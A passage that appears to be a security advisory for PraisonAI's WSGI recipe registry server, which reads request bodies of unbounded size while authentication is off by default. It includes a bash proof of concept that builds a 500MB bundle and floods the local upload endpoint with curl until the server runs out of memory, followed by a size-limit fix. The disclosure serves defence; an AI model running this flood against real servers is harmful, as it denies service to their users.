+ "details": "## Summary\n\nThe WSGI-based recipe registry server (`server.py`) reads the entire HTTP request body into memory based on the client-supplied `Content-Length` header with no upper bound. Combined with authentication being disabled by default (no token configured), any local process can send arbitrarily large POST requests to exhaust server memory and cause a denial of service. The Starlette-based server (`serve.py`) has `RequestSizeLimitMiddleware` with a 10MB limit, but the WSGI server lacks any equivalent protection.\n\n## Details\n\nThe vulnerable code path in `src/praisonai/praisonai/recipe/server.py`:\n\n**1. No size limit on body read (line 551-555):**\n```python\ncontent_length = int(environ.get(\"CONTENT_LENGTH\", 0))\nbody = environ[\"wsgi.input\"].read(content_length) if content_length > 0 else b\"\"\n```\n\nThe `content_length` is taken directly from the HTTP header with no maximum check. The entire body is read into a single `bytes` object in memory.\n\n**2. Second in-memory copy via multipart parsing (line 169-172):**\n```python\nresult = {\"fields\": {}, \"files\": {}}\nboundary_bytes = f\"--{boundary}\".encode()\nparts = body.split(boundary_bytes)\n```\n\nThe `_parse_multipart` method splits the already-buffered body and stores file contents in a dict, creating additional in-memory copies.\n\n**3. Third copy to temp file (line 420-421):**\n```python\nwith tempfile.NamedTemporaryFile(suffix=\".praison\", delete=False) as tmp:\n tmp.write(bundle_content)\n```\n\nThe bundle content is then written to disk and persisted in the registry, also without size checks.\n\n**4. Authentication disabled by default (line 91-94):**\n```python\ndef _check_auth(self, headers: Dict[str, str]) -> bool:\n if not self.token:\n return True # No token configured = no auth\n```\n\nThe `self.token` defaults to `None` unless `PRAISONAI_REGISTRY_TOKEN` is set or `--token` is passed on the CLI.\n\nThe entry point is `praisonai registry serve` (cli/features/registry.py:176), which calls `run_server()` binding to `127.0.0.1:7777` by default.\n\nIn contrast, `serve.py` (the Starlette server) has `RequestSizeLimitMiddleware` at line 725-732 enforcing a 10MB default limit. The WSGI server has no equivalent.\n\n## PoC\n\n```bash\n# Start the registry server with default settings (no auth, localhost)\npraisonai registry serve &\n\n# Step 1: Create a large bundle (~500MB)\nmkdir -p /tmp/dos-test\necho '{\"name\":\"dos\",\"version\":\"1.0.0\"}' > /tmp/dos-test/manifest.json\ndd if=/dev/zero of=/tmp/dos-test/pad bs=1M count=500\ntar czf /tmp/dos-bundle.praison -C /tmp/dos-test .\n\n# Step 2: Upload — server buffers ~500MB into RAM with no limit\ncurl -X POST http://127.0.0.1:7777/v1/recipes/dos/1.0.0 \\\n -F 'bundle=@/tmp/dos-bundle.praison' -F 'force=true'\n\n# Step 3: Repeat to exhaust memory\nfor v in 1.0.{1..10}; do\n curl -X POST http://127.0.0.1:7777/v1/recipes/dos/$v \\\n -F 'bundle=@/tmp/dos-bundle.praison' &\ndone\n# Server process will be OOM-killed\n```\n\n## Impact\n\n- **Memory exhaustion**: A single large request can consume all available memory, crashing the server process (and potentially other processes via OOM killer).\n- **Disk exhaustion**: Repeated uploads persist bundles to disk at `~/.praison/registry/` with no quota, potentially filling the filesystem.\n- **No authentication barrier**: Default configuration requires no token, so any local process (including via SSRF from other services on the same host) can trigger this.\n- **Availability impact**: The registry server becomes unavailable, blocking recipe publish/download operations.\n\nThe default bind address of `127.0.0.1` limits exploitability to local attackers or SSRF scenarios. If a user binds to `0.0.0.0` (common for shared environments or containers), the attack surface extends to the network.\n\n## Recommended Fix\n\nAdd a request size limit to the WSGI application, consistent with `serve.py`'s 10MB default:\n\n```python\n# In create_wsgi_app(), before reading the body:\nMAX_REQUEST_SIZE = 10 * 1024 * 1024 # 10MB, matching serve.py\n\ndef application(environ, start_response):\n # ... existing code ...\n \n # Read body with size limit\n try:\n content_length = int(environ.get(\"CONTENT_LENGTH\", 0))\n except (ValueError, TypeError):\n content_length = 0\n \n if content_length > MAX_REQUEST_SIZE:\n status = \"413 Request Entity Too Large\"\n response_headers = [(\"Content-Type\", \"application/json\")]\n body = json.dumps({\n \"error\": {\n \"code\": \"request_too_large\",\n \"message\": f\"Request body too large. Max: {MAX_REQUEST_SIZE} bytes\"\n }\n }).encode()\n start_response(status, response_headers)\n return [body]\n \n body = environ[\"wsgi.input\"].read(content_length) if content_length > 0 else b\"\"\n # ... rest of handler ...\n```\n\nAdditionally, consider:\n- Adding a `--max-request-size` CLI flag to `praisonai registry serve`\n- Adding per-recipe disk quota enforcement in `LocalRegistry.publish()`",
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